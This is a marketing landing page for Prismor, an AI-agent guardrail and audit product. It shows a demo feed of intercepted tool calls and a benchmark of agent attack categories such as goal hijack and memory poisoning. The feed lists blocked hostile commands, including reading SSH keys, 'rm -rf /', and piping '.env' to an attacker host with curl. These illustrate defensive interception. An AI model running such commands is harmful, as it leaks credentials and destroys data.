Control plane for
AI agents

Prismor enables enterprises to avoid their agents getting rogue. Full traceability of every tool call with security guardrails in production

Used by developers at
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PrismorAgent Activity - Prismor

Agent Activity

Tool calls intercepted across your agents

Tool Call Verdicts

1.4kcalls
Allowed
Blocked
Masked

Tool Calls by Environment

Agent activity across prod, staging, and local

62%in production
ProdStagingLocalCI
Allowed
Blocked
Masked
Showing 0 of 5 flagged calls
All Agents
All Environments
All Verdicts
AGENTTOOL CALLENVVERDICTLAST SEEN
Loading tool calls…
PrismorPrismor: AI agent security & guardrails
intercepting
Add a documentation page to the website
Reading the docs skill to understand requirements...
$ cat skills/technical-docs-page/SKILL.md
Loading doc structure, layout patterns, and component approach

Platform Capabilities

Prismor
Prismor · Runtime Monitor
PrismorActive
npm install lodash
allowed
cat ~/.ssh/id_rsa
blocked
export OPENAI_KEY=sk-xxxx…
masked
git commit -m "update"
allowed
rm -rf /
blocked
curl https://webhook.site/…
blocked
pip install requests
allowed
cat .env | curl evil.sh
blocked
git push origin main
allowed
STRIPE_KEY=sk_live_xxxx…
masked
npm install lodash
allowed
cat ~/.ssh/id_rsa
blocked
export OPENAI_KEY=sk-xxxx…
masked
git commit -m "update"
allowed
rm -rf /
blocked
curl https://webhook.site/…
blocked
pip install requests
allowed
cat .env | curl evil.sh
blocked
git push origin main
allowed
STRIPE_KEY=sk_live_xxxx…
masked

Secure by default Prismor plugs into existing workflows, enabling enterprises to get policy enforcement and a full audit trail on every agent action

Coverage across every category

Each bar is the percentage of adversarial security tests where the agent actually carried out the harmful action, tested live against production Claude and Codex agents. Lower is better. Prismor closes the gap in every category, both in the open-source policy engine and in the enterprise control plane. Hover any bar for the exact number.

Harmful outcome rate (%)0%25%50%75%100%ASI01Adversarial inputs override the agent’s intended task, for example an instruction hidden in a file the agent reads.Goal HijackAdversarial inputs override the agent’s intended task, for example an instruction hidden in a file the agent reads.ASI02The agent invokes a tool it has access to in an unintended or dangerous way.Tool MisuseThe agent invokes a tool it has access to in an unintended or dangerous way.ASI03The agent accesses credentials or data outside what its task actually requires.ID/Priv AbuseThe agent accesses credentials or data outside what its task actually requires.ASI04A compromised script or dependency gets executed with the agent’s permissions.Supply ChainA compromised script or dependency gets executed with the agent’s permissions.ASI05The agent’s own tool calls are used to run arbitrary, unreviewed code.Code ExecutionThe agent’s own tool calls are used to run arbitrary, unreviewed code.ASI06A persistent memory file (like CLAUDE.md or AGENTS.md) is altered to change the agent’s future behavior.Memory PoisoningA persistent memory file (like CLAUDE.md or AGENTS.md) is altered to change the agent’s future behavior.
Claude Opus 4.8
Codex (GPT-5.5)
Prismor (OSS)
Prismor (Enterprise)

Percentages come from a live benchmark against production Claude and Codex agents, with N=3 repeated attempts per test case. Prismor (Enterprise) takes care for most categories.

From agent chaos to auditable control

1

Connect

Wrap your agent framework with Prismor in one step. MCP, the OpenAI Agents SDK, LangChain, CrewAI. Your existing agents keep working.

2

Intercept

Every tool call routes through Prismor before it executes. The agent has no path around it.

3

Enforce

Your active policy decides each call: allow, block, or mask. Secrets never reach the model. Destructive commands never run.

4

Audit

Read the full timeline of every agent action in the dashboard: arguments, outcome, user, session. Export it when compliance asks.

5

Improve

Update policies from the CLI as your conventions change. Every rule is versioned and reviewed by a teammate, same as infra config.

One security layer for every agent your team uses

Connect Prismor once and keep the same runtime policy, secret protection, and audit trail across coding agents, SDKs, and custom MCP workflows.

What developers are saying

Things people ask.